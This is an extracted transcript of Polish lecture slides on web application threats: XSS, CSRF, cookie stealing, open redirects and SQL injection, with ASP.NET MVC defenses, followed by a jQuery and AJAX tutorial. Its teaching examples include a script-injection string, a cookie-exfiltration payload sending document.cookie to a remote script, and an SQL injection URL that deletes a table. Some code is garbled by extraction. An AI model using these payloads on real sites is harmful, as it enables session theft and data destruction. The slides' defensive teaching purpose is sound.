Pobieranie prezentacji. Proszę czekać

Pobieranie prezentacji. Proszę czekać

Zagrożenia. IP UDP TCP FTP HTTPS SMTP TELNET NNTP HTTP Warstwa aplikacji Warstwa transportowa Warstwa sieciowa DNS SSH POP3 SSH Warstwy protokołów internetowych.

Podobne prezentacje


Prezentacja na temat: "Zagrożenia. IP UDP TCP FTP HTTPS SMTP TELNET NNTP HTTP Warstwa aplikacji Warstwa transportowa Warstwa sieciowa DNS SSH POP3 SSH Warstwy protokołów internetowych."— Zapis prezentacji:

1 Zagrożenia

2 IP UDP TCP FTP HTTPS SMTP TELNET NNTP HTTP Warstwa aplikacji Warstwa transportowa Warstwa sieciowa DNS SSH POP3 SSH Warstwy protokołów internetowych

3 Protokół HTTP (HyperText Transfer Protocol) GET / HTTP/1.1 Host: host.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.6) Gecko/ Accept: text/xml,application/xml,application/xhtml+xml,text/html;text/xml,application/xmlapplication/xhtml+xmltext/html q=0.9,text/plain;q=0.8 Accept-Language: pl,en-us;q=0.7,en;q=0.3 Accept-Charset: ISO ,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive znak powrotu karetki i wysunięcia strony (CRLF) Pakiet wysyłany przez serwer

4 Protokół HTTP (HyperText Transfer Protocol) HTTP/ OK Date: Sun, 11 Jul :04:30 GMTGMT Server: Apache/ (Unix) DAV/2ApacheDAV Set-Cookie: PSID=d6dd02e9957fb162d2385ca6f2829a73; path=/ Expires: Thu, 19 Nov :52:00 GMTGMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache (stara metoda) Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=iso znak powrotu karetki i wysunięcia strony (CRLF) tutaj zawartość dokumentu Odpowiedź serwera

5 Metody HTTP GET – pobranie zasobu HEAD – pobranie informacji o zasobie POST – przesłanie danych na serwer PUT – umieszczenie zasobu na serwerze DELETE – usunięcie zasobu z serwera TRACE, CONNECT, OPTIONS

6 Kody odpowiedzi HTTP 200 OK Zawartość żądanego dokumentu (najczęściej zwracany nagłówek odpowiedzi w komunikacji WWW) 201 Created Utworzono - wysłany dokument został zapisany na serwerze 204 No content Brak zawartości - serwer zrealizował zapytanie klienta i nie potrzebuje zwracać żadnej treści 304 Not Modified Nie zmieniono - zawartość zasobu nie podległa zmianie według warunku przekazanego przez klienta (np. data ostatniej wersji zasobu pobranej przez klienta 400 Bad Request Nieprawidłowe zapytanie - żądanie nie może być obsłużone przez serwer z powodu błędnej składni zapytania 401 Unauthorized Nieautoryzowany dostęp - żądanie zasobu, który wymaga autentykacji 403 Forbidden Zabroniony - serwer zrozumiał zapytanie lecz konfiguracja bezpieczeństwa zabrania mu zwrócić żądany zasób 404 Not Found Nie znaleziono - serwer nie odnalazł zasobu według podanego URI ani niczego co by wskazywało na istnienie takiego zasobu w przeszłości

7 Kody odpowiedzi HTTP 500 Internal Server Error Wewnętrzny błąd serwera - serwer napotkał niespodziewane trudności, które uniemożliwiły zrealizowanie żądania 505 HTTP Version Not Supported Wersja HTTP nie obsługiwana - serwer nie obsługuje bądź odmawia obsługi wskazanej przez klienta wersji HTTP

8 Cross-Site Scripting (XSS) Umożliwienie użytkownikowi wprowadzenia kodu skryptowego, który będzie bez zmian przesłany do przeglądarki innego użytkownika

9 Bob “>

10 Zabezpieczenie HTML Enkodowanie HTML ”>Naciśnij ”>Naciśnij ”>Naciśnij AttributeEncodeAttributeEncode tylko znaki: " & < \ "></a><script src="http://trojan.polsl.pl"></script> <a href=" “>

11 Ochrona domyślna

12 Zabezpieczenia JS != null) { $(function () { var message = $("#info“).html(message).hide().show(‘slow‘); }); } Encoder.JavaScriptEncode public ActionResult Index(string UserName) { ViewBag.UserName = UserName; return View(); }

13 Cookies Set-Cookie: nazwa=wartość; expires=DATA; path=ŚCIEŻKA; domain=DOMENA; secure; httpOnly Serwer Przeglądarka Cookie: ciasteczko_1=wartosc_1; ciasteczka_2=wartosc_2;...

14 Cookies

15 Sessja Domena Strona1 Strona2 Strona3 Serwer Przeglądarka Sprawdzenie obecności w żądaniu ciasteczka-tokena, wygenerowanie tokena, wysłanie strony1+tokena. Sprawdzenie obecności ciasteczka- tokena dla domeny, wysłanie żądania strony1 bez ciasteczka. Token Sprawdzenie obecności ciasteczka- tokena dla domeny, wysłanie żądania strony2 i tokenu. Sprawdzenie obecności ciasteczka- tokena dla domeny, wysłanie żądania strony3 i tokenu.

16 Cross-Site Request Forgery Wykonanie kodu z uprawnieniami innego internauty Widok z obrazkiem Akcja wykonania przelewu „Pobranie” obrazka

17 Zabezpieczenie Takie jak w XSS. Weryfikacja tokena Blokowanie wywołań GET [ValidateAntiforgeryToken] public ActionResult Register(…)

18 Kontrola źródła formularza public class IsPostedFromThisSiteAttribute : AuthorizeAttribute { public override void OnAuthorize(AuthorizationContext filterContext) { if (filterContext.HttpContext != null) { if (filterContext.HttpContext.Request.UrlReferrer.Host != “www.polsl.pl”) throw new System.Web.HttpException (“Ten formularz nie zostal wysłany z tej strony!”); }}} [IsPostedFromThisSite] public ActionResult Register(…)

19 Cookie Stealing window.location=”http:// :81/r.php?u=" +document.links[1].text +”&l=”+document.links[1] +”&c=”+document.cookie;” Zabezpieczenie Zapobieganie XSS Zakaz dostępu do Cookies z poziomu skryptu JS Response.Cookies[“MyCookie”].Value=”Tajne"; Response.Cookies[“MyCookie].HttpOnly=true;

20 Open Redirection /Account/LogOn?ReturnUrl=%2fAccount%2fChangePassword%2f. [HttpPost] public ActionResult LogOn(LogOnModel model, string returnUrl) { if (ModelState.IsValid) { if (Membership.ValidateUser(model.UserName, model.Password)) { FormsAuthentication.SetAuthCookie(model.UserName, model.RememberMe); if (Url.IsLocalUrl(returnUrl) && returnUrl.Length > 1 && returnUrl.StartsWith("/") && !returnUrl.StartsWith("//") && !returnUrl.StartsWith("/\\")) { return Redirect(returnUrl); } else { return RedirectToAction("Index", "Home"); } else { ModelState.AddModelError("", "The user name or password provided is incorrect."); } // If we got this far, something failed, redisplay form return View(model); }

21 SQL Injection public ActionResult DodajPracownika(string nazwisko) { SqlConnection połączenie=new SqlConnection("…”); SqlConnection polecenie=new SqlCommand("INSERT INTO Pracownicy (Nazwisko) VALUES("+nazwisko+”)”); połączenie.Open(); polecenie.ExecuteNonQuery(); połączenie.Close(); } Serwer.pl/Pracownik/DodajPracownika?nazwisko=Kowal”);DELETE FROM Pracownicy;

22 Zabezpieczenia public ActionResult DodajPracownika(string nazwisko) { SqlConnection połączenie=new SqlConnection("…”); SqlConnection polecenie=new SqlCommand("INSERT INTO Pracownicy (Nazwisko) VALUES("+Html.Encode(nazwisko)+”)”); połączenie.Open(); polecenie.ExecuteNonQuery(); połączenie.Close(); } public ActionResult DodajPracownika(string nazwisko) { SqlConnection połączenie=new SqlConnection("…”); SqlConnection polecenie=new SqlCommand("INSERT INTO Pracownicy (Nazwisko) polecenie.Parameters.Add("Nazwisko”,SqlTypes.VarChar,14).Value=nazwisko; połączenie.Open(); polecenie.ExecuteNonQuery(); połączenie.Close(); }

23 JQuery Biblioteka JS niezależna od przeglądarki Biblioteka open source Maszyna selekcji elementów niezależna od przeglądarki Modyfikacja dokumentu DOM Możliwość wykorzystania selektrów CSS Biblioteka oparta o zdarzenia Umożliwia uzyskiwanie efektów i animacji Wspiera AJAX

24 Konfiguracja Pobranie biblioteki ze strony Dołączenie biblioteki do strony

25 Definiowanie zdarzeń $(document).ready(Zarejestruj); function Zarejestruj() { $("a").click(Przywitaj); } function Przywitaj() { alert("Dzień dobry"); } Przywitaj

26 Funkcja anonimowa $(document).ready(function() { $("a").click(function() { alert("Dzień dobry!"); }); Przywitaj Funkcja anonimowa

27 Selektory CSS $(document).ready(function(){$("p.wazny").css("background-color","Yellow");}); Akapit 1 Akapit 2 Akapit 3

28 Dodawanie elementów $(document).ready(function(){ for (i=1;i<=10;i++) $("#lista").append(" "+i+" "); });

29 Efekty $(function(){ $("#przycisk").click(function(){ $("#napis").fadeOut(3000); }); Przykładowy efekt $(document).ready()

30 Animacja $(function(){ $("#przycisk").click(function(){ $("#napis").animate({left:'+=100px'}); }); Przykładowy efekt

31 Callback $(function(){ $("#przycisk").click(function(){ $("#napis").animate({left:'+=100px'},"slow",function(){$("#napis"). hide();}); }); Przykładowy efekt Callback

32 AJAX Asynchronous JavaScript and XML

33 AJAX

34 JSON JSON, JavaScript Object Notation


Pobierz ppt "Zagrożenia. IP UDP TCP FTP HTTPS SMTP TELNET NNTP HTTP Warstwa aplikacji Warstwa transportowa Warstwa sieciowa DNS SSH POP3 SSH Warstwy protokołów internetowych."

Podobne prezentacje


Reklamy Google